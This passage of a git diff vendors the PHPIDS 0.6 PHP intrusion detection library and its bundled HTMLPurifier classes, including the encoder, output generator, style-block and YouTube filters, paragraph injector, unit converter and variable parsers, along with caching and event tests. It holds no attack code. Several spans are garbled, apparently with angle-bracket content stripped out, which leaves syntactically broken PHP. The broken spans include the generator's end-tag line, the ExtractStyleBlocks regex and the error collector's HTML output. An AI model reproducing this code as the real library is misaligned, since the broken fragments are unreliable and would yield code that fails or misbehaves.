$this->_mergeAssocArray($this->attr_transform_pre, $def->attr_transform_pre); + $this->_mergeAssocArray($this->attr_transform_post, $def->attr_transform_post); + $this->_mergeAssocArray($this->excludes, $def->excludes); + + if(!empty($def->content_model)) { + $this->content_model .= ' | ' . $def->content_model; + $this->child = false; + } + if(!empty($def->content_model_type)) { + $this->content_model_type = $def->content_model_type; + $this->child = false; + } + if(!is_null($def->child)) $this->child = $def->child; + if($def->descendants_are_inline) $this->descendants_are_inline = $def->descendants_are_inline; + + } + + /** + * Merges one array into another, removes values which equal false + * @param $a1 Array by reference that is merged into + * @param $a2 Array that merges into $a1 + */ + private function _mergeAssocArray(&$a1, $a2) { + foreach ($a2 as $k => $v) { + if ($v === false) { + if (isset($a1[$k])) unset($a1[$k]); + continue; + } + $a1[$k] = $v; + } + } + +} + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php new file mode 100644 index 000000000..cb239f87c --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php @@ -0,0 +1,419 @@ + under the + * LGPL license. Notes on what changed are inside, but in general, + * the original code transformed UTF-8 text into an array of integer + * Unicode codepoints. Understandably, transforming that back to + * a string would be somewhat expensive, so the function was modded to + * directly operate on the string. However, this discourages code + * reuse, and the logic enumerated here would be useful for any + * function that needs to be able to understand UTF-8 characters. + * As of right now, only smart lossless character encoding converters + * would need that, and I'm probably not going to implement them. + * Once again, PHP 6 should solve all our problems. + */ + public static function cleanUTF8($str, $force_php = false) { + + // UTF-8 validity is checked since PHP 4.3.5 + // This is an optimization: if the string is already valid UTF-8, no + // need to do PHP stuff. 99% of the time, this will be the case. + // The regexp matches the XML char production, as well as well as excluding + // non-SGML codepoints U+007F to U+009F + if (preg_match('/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du', $str)) { + return $str; + } + + $mState = 0; // cached expected number of octets after the current octet + // until the beginning of the next UTF8 character sequence + $mUcs4 = 0; // cached Unicode character + $mBytes = 1; // cached expected number of octets in the current sequence + + // original code involved an $out that was an array of Unicode + // codepoints. Instead of having to convert back into UTF-8, we've + // decided to directly append valid UTF-8 characters onto a string + // $out once they're done. $char accumulates raw bytes, while $mUcs4 + // turns into the Unicode code point, so there's some redundancy. + + $out = ''; + $char = ''; + + $len = strlen($str); + for($i = 0; $i < $len; $i++) { + $in = ord($str{$i}); + $char .= $str[$i]; // append byte to char + if (0 == $mState) { + // When mState is zero we expect either a US-ASCII character + // or a multi-octet sequence. + if (0 == (0x80 & ($in))) { + // US-ASCII, pass straight through. + if (($in <= 31 || $in == 127) && + !($in == 9 || $in == 13 || $in == 10) // save \r\t\n + ) { + // control characters, remove + } else { + $out .= $char; + } + // reset + $char = ''; + $mBytes = 1; + } elseif (0xC0 == (0xE0 & ($in))) { + // First octet of 2 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x1F) << 6; + $mState = 1; + $mBytes = 2; + } elseif (0xE0 == (0xF0 & ($in))) { + // First octet of 3 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x0F) << 12; + $mState = 2; + $mBytes = 3; + } elseif (0xF0 == (0xF8 & ($in))) { + // First octet of 4 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x07) << 18; + $mState = 3; + $mBytes = 4; + } elseif (0xF8 == (0xFC & ($in))) { + // First octet of 5 octet sequence. + // + // This is illegal because the encoded codepoint must be + // either: + // (a) not the shortest form or + // (b) outside the Unicode range of 0-0x10FFFF. + // Rather than trying to resynchronize, we will carry on + // until the end of the sequence and let the later error + // handling code catch it. + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x03) << 24; + $mState = 4; + $mBytes = 5; + } elseif (0xFC == (0xFE & ($in))) { + // First octet of 6 octet sequence, see comments for 5 + // octet sequence. + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 1) << 30; + $mState = 5; + $mBytes = 6; + } else { + // Current octet is neither in the US-ASCII range nor a + // legal first octet of a multi-octet sequence. + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char = ''; + } + } else { + // When mState is non-zero, we expect a continuation of the + // multi-octet sequence + if (0x80 == (0xC0 & ($in))) { + // Legal continuation. + $shift = ($mState - 1) * 6; + $tmp = $in; + $tmp = ($tmp & 0x0000003F) << $shift; + $mUcs4 |= $tmp; + + if (0 == --$mState) { + // End of the multi-octet sequence. mUcs4 now contains + // the final Unicode codepoint to be output + + // Check for illegal sequences and codepoints. + + // From Unicode 3.1, non-shortest form is illegal + if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || + ((3 == $mBytes) && ($mUcs4 < 0x0800)) || + ((4 == $mBytes) && ($mUcs4 < 0x10000)) || + (4 < $mBytes) || + // From Unicode 3.2, surrogate characters = illegal + (($mUcs4 & 0xFFFFF800) == 0xD800) || + // Codepoints outside the Unicode range are illegal + ($mUcs4 > 0x10FFFF) + ) { + + } elseif (0xFEFF != $mUcs4 && // omit BOM + // check for valid Char unicode codepoints + ( + 0x9 == $mUcs4 || + 0xA == $mUcs4 || + 0xD == $mUcs4 || + (0x20 <= $mUcs4 && 0x7E >= $mUcs4) || + // 7F-9F is not strictly prohibited by XML, + // but it is non-SGML, and thus we don't allow it + (0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) || + (0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4) + ) + ) { + $out .= $char; + } + // initialize UTF8 cache (reset) + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char = ''; + } + } else { + // ((0xC0 & (*in) != 0x80) && (mState != 0)) + // Incomplete multi-octet sequence. + // used to result in complete fail, but we'll reset + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char =''; + } + } + } + return $out; + } + + /** + * Translates a Unicode codepoint into its corresponding UTF-8 character. + * @note Based on Feyd's function at + *' . $this->locale->getMessage('ErrorCollector: No errors') . '
'; + } else { + return ''; + //$string .= ''; + //$string .= ''; + $ret[] = $string; + } + foreach ($current->children as $type => $array) { + $context[] = $current; + $stack = array_merge($stack, array_reverse($array, true)); + for ($i = count($array); $i > 0; $i--) { + $context_stack[] = $context; + } + } + } + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php new file mode 100644 index 000000000..c6e5472ab --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php @@ -0,0 +1,58 @@ +children[$type][$id])) { + $this->children[$type][$id] = new HTMLPurifier_ErrorStruct(); + $this->children[$type][$id]->type = $type; + } + return $this->children[$type][$id]; + } + + public function addError($severity, $message) { + $this->errors[] = array($severity, $message); + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php new file mode 100644 index 000000000..4f2ebf51f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php @@ -0,0 +1,11 @@ +preFilter, + * 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter, + * 1->postFilter. + * + * @note Methods are not declared abstract as it is perfectly legitimate + * for an implementation not to want anything to happen on a step + */ + +class HTMLPurifier_Filter +{ + + /** + * Name of the filter for identification purposes + */ + public $name; + + /** + * Pre-processor function, handles HTML before HTML Purifier + */ + public function preFilter($html, $config, $context) { + return $html; + } + + /** + * Post-processor function, handles HTML after HTML Purifier + */ + public function postFilter($html, $config, $context) { + return $html; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php new file mode 100644 index 000000000..e3545e073 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php @@ -0,0 +1,134 @@ + blocks from input HTML, cleans them up + * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') + * so they can be used elsewhere in the document. + * + * @note + * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for + * sample usage. + * + * @note + * This filter can also be used on stylesheets not included in the + * document--something purists would probably prefer. Just directly + * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() + */ +class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter +{ + + public $name = 'ExtractStyleBlocks'; + private $_styleMatches = array(); + private $_tidy; + + public function __construct() { + $this->_tidy = new csstidy(); + } + + /** + * Save the contents of CSS blocks to style matches + * @param $matches preg_replace style $matches array + */ + protected function styleCallback($matches) { + $this->_styleMatches[] = $matches[1]; + } + + /** + * Removes inline #isU', array($this, 'styleCallback'), $html); + $style_blocks = $this->_styleMatches; + $this->_styleMatches = array(); // reset + $context->register('StyleBlocks', $style_blocks); // $context must not be reused + if ($this->_tidy) { + foreach ($style_blocks as &$style) { + $style = $this->cleanCSS($style, $config, $context); + } + } + return $html; + } + + /** + * Takes CSS (the stuff found in in a font-family prop). + if ($config->get('FilterParam', 'ExtractStyleBlocksEscaping')) { + $css = str_replace( + array('<', '>', '&'), + array('\3C ', '\3E ', '\26 '), + $css + ); + } + return $css; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php new file mode 100644 index 000000000..3236660a1 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php @@ -0,0 +1,31 @@ +]+>.+?'. + 'http://www.youtube.com/v/([A-Za-z0-9\-_]+).+?#s'; + $pre_replace = ''; + return preg_replace($pre_regex, $pre_replace, $html); + } + + public function postFilter($html, $config, $context) { + $post_regex = '##'; + $post_replace = ''; + return preg_replace($post_regex, $post_replace, $html); + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php new file mode 100644 index 000000000..0ff5ba9af --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php @@ -0,0 +1,182 @@ + tags + */ + private $_scriptFix = false; + + /** + * Cache of HTMLDefinition during HTML output to determine whether or + * not attributes should be minimized. + */ + private $_def; + + /** + * Cache of %Output.SortAttr + */ + private $_sortAttr; + + /** + * Configuration for the generator + */ + protected $config; + + /** + * @param $config Instance of HTMLPurifier_Config + * @param $context Instance of HTMLPurifier_Context + */ + public function __construct($config, $context) { + $this->config = $config; + $this->_scriptFix = $config->get('Output', 'CommentScriptContents'); + $this->_sortAttr = $config->get('Output', 'SortAttr'); + $this->_def = $config->getHTMLDefinition(); + $this->_xhtml = $this->_def->doctype->xml; + } + + /** + * Generates HTML from an array of tokens. + * @param $tokens Array of HTMLPurifier_Token + * @param $config HTMLPurifier_Config object + * @return Generated HTML + */ + public function generateFromTokens($tokens) { + if (!$tokens) return ''; + + // Basic algorithm + $html = ''; + for ($i = 0, $size = count($tokens); $i < $size; $i++) { + if ($this->_scriptFix && $tokens[$i]->name === 'script' + && $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) { + // script special case + // the contents of the script block must be ONE token + // for this to work. + $html .= $this->generateFromToken($tokens[$i++]); + $html .= $this->generateScriptFromToken($tokens[$i++]); + } + $html .= $this->generateFromToken($tokens[$i]); + } + + // Tidy cleanup + if (extension_loaded('tidy') && $this->config->get('Output', 'TidyFormat')) { + $tidy = new Tidy; + $tidy->parseString($html, array( + 'indent'=> true, + 'output-xhtml' => $this->_xhtml, + 'show-body-only' => true, + 'indent-spaces' => 2, + 'wrap' => 68, + ), 'utf8'); + $tidy->cleanRepair(); + $html = (string) $tidy; // explicit cast necessary + } + + // Normalize newlines to system defined value + $nl = $this->config->get('Output', 'Newline'); + if ($nl === null) $nl = PHP_EOL; + if ($nl !== "\n") $html = str_replace("\n", $nl, $html); + return $html; + } + + /** + * Generates HTML from a single token. + * @param $token HTMLPurifier_Token object. + * @return Generated HTML + */ + public function generateFromToken($token) { + if (!$token instanceof HTMLPurifier_Token) { + trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING); + return ''; + + } elseif ($token instanceof HTMLPurifier_Token_Start) { + $attr = $this->generateAttributes($token->attr, $token->name); + return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_End) { + return 'name . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_Empty) { + $attr = $this->generateAttributes($token->attr, $token->name); + return '<' . $token->name . ($attr ? ' ' : '') . $attr . + ( $this->_xhtml ? ' /': '' ) //
tags? + if ($this->allowsElement('p')) { + if (empty($this->currentNesting) || strpos($text, "\n\n") !== false) { + // Note that we have differing behavior when dealing with text + // in the anonymous root node, or a node inside the document. + // If the text as a double-newline, the treatment is the same; + // if it doesn't, see the next if-block if you're in the document. + + $i = $nesting = null; + if (!$this->forwardUntilEndToken($i, $current, $nesting) && $token->is_whitespace) { + // State 1.1: ... ^ (whitespace, then document end) + // ---- + // This is a degenerate case + } else { + // State 1.2: PAR1 + // ---- + + // State 1.3: PAR1\n\nPAR2 + // ------------ + + // State 1.4:
tag? + } elseif ( + !empty($this->currentNesting) && + $this->currentNesting[count($this->currentNesting)-1]->name == 'p' + ) { + // State 3.1: ...
PAR1 + // ---- + + // State 3.2: ...
PAR1\n\nPAR2 + // ------------ + $token = array(); + $this->_splitText($text, $token); + // Abort! + } else { + // State 4.1: ...PAR1 + // ---- + + // State 4.2: ...PAR1\n\nPAR2 + // ------------ + } + } + + public function handleElement(&$token) { + // We don't have to check if we're already in a
tag for block + // tokens, because the tag would have been autoclosed by MakeWellFormed. + if ($this->allowsElement('p')) { + if (!empty($this->currentNesting)) { + if ($this->_isInline($token)) { + // State 1:
PAR1
\n\n + // --- + + // Quite frankly, this should be handled by splitText + $token = array($this->_pStart(), $token); + } else { + // State 1.1.1:PAR1
+ // --- + + // State 1.1.2:is needed. + if ($this->_pLookAhead()) { + // State 1.3.1:
tags. + } + } + } + } else { + // State 2.2:
+ // --- + } + } + + /** + * Splits up a text in paragraph tokens and appends them + * to the result stream that will replace the original + * @param $data String text data that will be processed + * into paragraphs + * @param $result Reference to array of tokens that the + * tags will be appended onto + * @param $config Instance of HTMLPurifier_Config + * @param $context Instance of HTMLPurifier_Context + */ + private function _splitText($data, &$result) { + $raw_paragraphs = explode("\n\n", $data); + $paragraphs = array(); // without empty paragraphs + $needs_start = false; + $needs_end = false; + + $c = count($raw_paragraphs); + if ($c == 1) { + // There were no double-newlines, abort quickly. In theory this + // should never happen. + $result[] = new HTMLPurifier_Token_Text($data); + return; + } + for ($i = 0; $i < $c; $i++) { + $par = $raw_paragraphs[$i]; + if (trim($par) !== '') { + $paragraphs[] = $par; + } else { + if ($i == 0) { + // Double newline at the front + if (empty($result)) { + // The empty result indicates that the AutoParagraph + // injector did not add any start paragraph tokens. + // This means that we have been in a paragraph for + // a while, and the newline means we should start a new one. + $result[] = new HTMLPurifier_Token_End('p'); + $result[] = new HTMLPurifier_Token_Text("\n\n"); + // However, the start token should only be added if + // there is more processing to be done (i.e. there are + // real paragraphs in here). If there are none, the + // next start paragraph tag will be handled by the + // next call to the injector + $needs_start = true; + } else { + // We just started a new paragraph! + // Reinstate a double-newline for presentation's sake, since + // it was in the source code. + array_unshift($result, new HTMLPurifier_Token_Text("\n\n")); + } + } elseif ($i + 1 == $c) { + // Double newline at the end + // There should be a trailing
when we're finally done. + $needs_end = true; + } + } + } + + // Check if this was just a giant blob of whitespace. Move this earlier, + // perhaps? + if (empty($paragraphs)) { + return; + } + + // Add the start tag indicated by \n\n at the beginning of $data + if ($needs_start) { + $result[] = $this->_pStart(); + } + + // Append the paragraphs onto the result + foreach ($paragraphs as $par) { + $result[] = new HTMLPurifier_Token_Text($par); + $result[] = new HTMLPurifier_Token_End('p'); + $result[] = new HTMLPurifier_Token_Text("\n\n"); + $result[] = $this->_pStart(); + } + + // Remove trailing start token; Injector will handle this later if + // it was indeed needed. This prevents from needing to do a lookahead, + // at the cost of a lookbehind later. + array_pop($result); + + // If there is no need for an end tag, remove all of it and let + // MakeWellFormed close it later. + if (!$needs_end) { + array_pop($result); // removes \n\n + array_pop($result); // removes + } + + } + + /** + * Returns true if passed token is inline (and, ergo, allowed in + * paragraph tags) + */ + private function _isInline($token) { + return isset($this->htmlDefinition->info['p']->child->elements[$token->name]); + } + + /** + * Looks ahead in the token list and determines whether or not we need + * to insert atag. + */ + private function _pLookAhead() { + $this->current($i, $current); + if ($current instanceof HTMLPurifier_Token_Start) $nesting = 1; + else $nesting = 0; + $ok = false; + while ($this->forwardUntilEndToken($i, $current, $nesting)) { + $result = $this->_checkNeedsP($current); + if ($result !== null) { + $ok = $result; + break; + } + } + return $ok; + } + + /** + * Determines if a particular token requires an earlier inline token + * to get a paragraph. This should be used with _forwardUntilEndToken + */ + private function _checkNeedsP($current) { + if ($current instanceof HTMLPurifier_Token_Start){ + if (!$this->_isInline($current)) { + //
n"; + //echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n\n"; + + $n = $this->round($n, $sigfigs); + if (strpos($n, '.') !== false) $n = rtrim($n, '0'); + $n = rtrim($n, '.'); + + return new HTMLPurifier_Length($n, $unit); + } + + /** + * Returns the number of significant figures in a string number. + * @param string $n Decimal number + * @return int number of sigfigs + */ + public function getSigFigs($n) { + $n = ltrim($n, '0+-'); + $dp = strpos($n, '.'); // decimal position + if ($dp === false) { + $sigfigs = strlen(rtrim($n, '0')); + } else { + $sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character + if ($dp !== 0) $sigfigs--; + } + return $sigfigs; + } + + /** + * Adds two numbers, using arbitrary precision when available. + */ + private function add($s1, $s2, $scale) { + if ($this->bcmath) return bcadd($s1, $s2, $scale); + else return $this->scale($s1 + $s2, $scale); + } + + /** + * Multiples two numbers, using arbitrary precision when available. + */ + private function mul($s1, $s2, $scale) { + if ($this->bcmath) return bcmul($s1, $s2, $scale); + else return $this->scale($s1 * $s2, $scale); + } + + /** + * Divides two numbers, using arbitrary precision when available. + */ + private function div($s1, $s2, $scale) { + if ($this->bcmath) return bcdiv($s1, $s2, $scale); + else return $this->scale($s1 / $s2, $scale); + } + + /** + * Rounds a number according to the number of sigfigs it should have, + * using arbitrary precision when available. + */ + private function round($n, $sigfigs) { + $new_log = (int) floor(log(abs($n), 10)); // Number of digits left of decimal - 1 + $rp = $sigfigs - $new_log - 1; // Number of decimal places needed + $neg = $n < 0 ? '-' : ''; // Negative sign + if ($this->bcmath) { + if ($rp >= 0) { + $n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1); + $n = bcdiv($n, '1', $rp); + } else { + // This algorithm partially depends on the standardized + // form of numbers that comes out of bcmath. + $n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0); + $n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1); + } + return $n; + } else { + return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1); + } + } + + /** + * Scales a float to $scale digits right of decimal point, like BCMath. + */ + private function scale($r, $scale) { + if ($scale < 0) { + // The f sprintf type doesn't support negative numbers, so we + // need to cludge things manually. First get the string. + $r = sprintf('%.0f', (float) $r); + // Due to floating point precision loss, $r will more than likely + // look something like 4652999999999.9234. We grab one more digit + // than we need to precise from $r and then use that to round + // appropriately. + $precise = (string) round(substr($r, 0, strlen($r) + $scale), -1); + // Now we return it, truncating the zero that was rounded off. + return substr($precise, 0, -1) . str_repeat('0', -$scale + 1); + } + return sprintf('%.' . $scale . 'f', (float) $r); + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php new file mode 100644 index 000000000..a0cd2cf3a --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php @@ -0,0 +1,152 @@ + self::STRING, + 'istring' => self::ISTRING, + 'text' => self::TEXT, + 'itext' => self::ITEXT, + 'int' => self::INT, + 'float' => self::FLOAT, + 'bool' => self::BOOL, + 'lookup' => self::LOOKUP, + 'list' => self::ALIST, + 'hash' => self::HASH, + 'mixed' => self::MIXED + ); + + /** + * Lookup table of types that are string, and can have aliases or + * allowed value lists. + */ + static public $stringTypes = array( + self::STRING => true, + self::ISTRING => true, + self::TEXT => true, + self::ITEXT => true, + ); + + /** + * Validate a variable according to type. Throws + * HTMLPurifier_VarParserException if invalid. + * It may return NULL as a valid type if $allow_null is true. + * + * @param $var Variable to validate + * @param $type Type of variable, see HTMLPurifier_VarParser->types + * @param $allow_null Whether or not to permit null as a value + * @return Validated and type-coerced variable + */ + final public function parse($var, $type, $allow_null = false) { + if (is_string($type)) { + if (!isset(HTMLPurifier_VarParser::$types[$type])) { + throw new HTMLPurifier_VarParserException("Invalid type '$type'"); + } else { + $type = HTMLPurifier_VarParser::$types[$type]; + } + } + $var = $this->parseImplementation($var, $type, $allow_null); + if ($allow_null && $var === null) return null; + // These are basic checks, to make sure nothing horribly wrong + // happened in our implementations. + switch ($type) { + case (self::STRING): + case (self::ISTRING): + case (self::TEXT): + case (self::ITEXT): + if (!is_string($var)) break; + if ($type == self::ISTRING || $type == self::ITEXT) $var = strtolower($var); + return $var; + case (self::INT): + if (!is_int($var)) break; + return $var; + case (self::FLOAT): + if (!is_float($var)) break; + return $var; + case (self::BOOL): + if (!is_bool($var)) break; + return $var; + case (self::LOOKUP): + case (self::ALIST): + case (self::HASH): + if (!is_array($var)) break; + if ($type === self::LOOKUP) { + foreach ($var as $k) if ($k !== true) $this->error('Lookup table contains value other than true'); + } elseif ($type === self::ALIST) { + $keys = array_keys($var); + if (array_keys($keys) !== $keys) $this->error('Indices for list are not uniform'); + } + return $var; + case (self::MIXED): + return $var; + default: + $this->errorInconsistent(get_class($this), $type); + } + $this->errorGeneric($var, $type); + } + + /** + * Actually implements the parsing. Base implementation is to not + * do anything to $var. Subclasses should overload this! + */ + protected function parseImplementation($var, $type, $allow_null) { + return $var; + } + + /** + * Throws an exception. + */ + protected function error($msg) { + throw new HTMLPurifier_VarParserException($msg); + } + + /** + * Throws an inconsistency exception. + * @note This should not ever be called. It would be called if we + * extend the allowed values of HTMLPurifier_VarParser without + * updating subclasses. + */ + protected function errorInconsistent($class, $type) { + throw new HTMLPurifier_Exception("Inconsistency in $class: ".HTMLPurifier_VarParser::getTypeName($type)." not implemented"); + } + + /** + * Generic error for if a type didn't work. + */ + protected function errorGeneric($var, $type) { + $vtype = gettype($var); + $this->error("Expected type ".HTMLPurifier_VarParser::getTypeName($type).", got $vtype"); + } + + static public function getTypeName($type) { + static $lookup; + if (!$lookup) { + // Lazy load the alternative lookup table + $lookup = array_flip(HTMLPurifier_VarParser::$types); + } + if (!isset($lookup[$type])) return 'unknown'; + return $lookup[$type]; + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php new file mode 100644 index 000000000..c7e299058 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php @@ -0,0 +1,94 @@ + $j) $var[$i] = trim($j); + if ($type === self::HASH) { + // key:value,key2:value2 + $nvar = array(); + foreach ($var as $keypair) { + $c = explode(':', $keypair, 2); + if (!isset($c[1])) continue; + $nvar[$c[0]] = $c[1]; + } + $var = $nvar; + } + } + if (!is_array($var)) break; + $keys = array_keys($var); + if ($keys === array_keys($keys)) { + if ($type == self::ALIST) return $var; + elseif ($type == self::LOOKUP) { + $new = array(); + foreach ($var as $key) { + $new[$key] = true; + } + return $new; + } else break; + } + if ($type === self::LOOKUP) { + foreach ($var as $key => $value) { + $var[$key] = true; + } + } + return $var; + default: + $this->errorInconsistent(__CLASS__, $type); + } + $this->errorGeneric($var, $type); + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php new file mode 100644 index 000000000..546c3b987 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php @@ -0,0 +1,25 @@ +evalExpression($var); + } + + protected function evalExpression($expr) { + $var = null; + $result = eval("\$var = $expr;"); + if ($result === false) { + throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); + } + return $var; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php new file mode 100644 index 000000000..9572e33b8 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php @@ -0,0 +1,9 @@ +path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini'; + $this->init = IDS_Init::init($this->path); + } + + function testCachingNone() { + $this->init->config['Caching']['caching'] = 'none'; + $this->assertFalse(IDS_Caching::factory($this->init, 'storage')); + } + + function testCachingFile() { + $this->init->config['Caching']['caching'] = 'file'; + $this->init->config['Caching']['expiration_time'] = 0; + $this->assertTrue(IDS_Caching::factory($this->init, 'storage') instanceof IDS_Caching_File); + } + + function testCachingFileSetCache() { + $this->init->config['Caching']['caching'] = 'file'; + $this->init->config['Caching']['expiration_time'] = 0; + $cache = IDS_Caching::factory($this->init, 'storage'); + $cache = $cache->setCache(array(1,2,3,4)); + $this->assertTrue($cache instanceof IDS_Caching_File); + } + + function testCachingFileGetCache() { + $this->init->config['Caching']['caching'] = 'file'; + $this->init->config['Caching']['path'] = dirname(__FILE__) . '/../../lib/IDS/tmp/default_filter.cache'; + $this->init->config['Caching']['expiration_time'] = 0; + $cache = IDS_Caching::factory($this->init, 'storage'); + $cache = $cache->setCache(array(1,2,3,4)); + $this->assertEquals($cache->getCache(), array(1,2,3,4)); + } + + function testCachingSession() { + $this->init->config['Caching']['caching'] = 'session'; + $this->assertTrue(IDS_Caching::factory($this->init, 'storage') instanceof IDS_Caching_Session); + } + + function testCachingSessionSetCache() { + $this->init->config['Caching']['caching'] = 'session'; + + $cache = IDS_Caching::factory($this->init, 'storage'); + $cache = $cache->setCache(array(1,2,3,4)); + $this->assertTrue($cache instanceof IDS_Caching_Session); + } + + function testCachingSessionGetCache() { + $this->init->config['Caching']['caching'] = 'session'; + + $cache = IDS_Caching::factory($this->init, 'storage'); + $cache = $cache->setCache(array(1,2,3,4)); + $this->assertEquals($cache->getCache(), array(1,2,3,4)); + } + + function testCachingSessionGetCacheDestroyed() { + $this->init->config['Caching']['caching'] = 'session'; + + $cache = IDS_Caching::factory($this->init, 'storage'); + $cache = $cache->setCache(array(1,2,3,4)); + $_SESSION['PHPIDS']['storage'] = null; + $this->assertFalse($cache->getCache()); + } + + function tearDown() { + @unlink(dirname(__FILE__) . '/../../lib/IDS/tmp/default_filter.cache'); + @unlink(dirname(__FILE__) . '/../../lib/IDS/tmp/memcache.timestamp'); + } +} + +/** + * Local variables: + * tab-width: 4 + * c-basic-offset: 4 + * End: + * vim600: sw=4 ts=4 expandtab + */ diff --git a/external/phpids/0.6/tests/IDS/EventTest.php b/external/phpids/0.6/tests/IDS/EventTest.php new file mode 100644 index 000000000..da75660bb --- /dev/null +++ b/external/phpids/0.6/tests/IDS/EventTest.php @@ -0,0 +1,85 @@ +event = new IDS_Event("handled_key", "my val", + array( + new IDS_Filter(1, '^test$', 'my description', array('tag1', 'tag2'), 10), + new IDS_Filter(1, '^test2$', 'my other desc', array('tag2', 'tag3'), 4) + ) + ); + } + + public function testName() + { + $this->assertEquals('handled_key', $this->event->getName()); + $this->assertEquals("my val", $this->event->getValue()); + } + + public function testValueAggregation() + { + $this->assertEquals(14, $this->event->getImpact()); + $this->assertEquals(array('tag1', 'tag2', 'tag3'), $this->event->getTags()); + } + + public function testIterator() + { + $regexps = array('^test$', '^test2$'); + foreach ($this->event as $key => $filter) + $this->assertEquals($regexps[$key], $filter->getRule()); + foreach ($this->event->getFilters() as $key => $filter) + $this->assertEquals($regexps[$key], $filter->getRule()); + } + + public function testCount() + { + $this->assertEquals(2, count($this->event)); + } + + public function testCopy() + { + $filters = $this->event->getFilters(); + $filter[] = "foo"; + $this->assertEquals(2, count($this->event)); + } + + public function testIteratorAggregate() + { + $this->assertType('IteratorAggregate', $this->event); + $this->assertType('IteratorAggregate', $this->event->getIterator()); + } +} + +/** + * Local variables: + * tab-width: 4 + * c-basic-offset: 4 + * End: + * vim600: sw=4 ts=4 expandtab + */ diff --git a/external/phpids/0.6/tests/IDS/ExceptionTest.php b/external/phpids/0.6/tests/IDS/ExceptionTest.php new file mode 100644 index 000000000..84d57648c --- /dev/null +++ b/external/phpids/0.6/tests/IDS/ExceptionTest.php @@ -0,0 +1,112 @@ +report = new IDS_Report(array( + 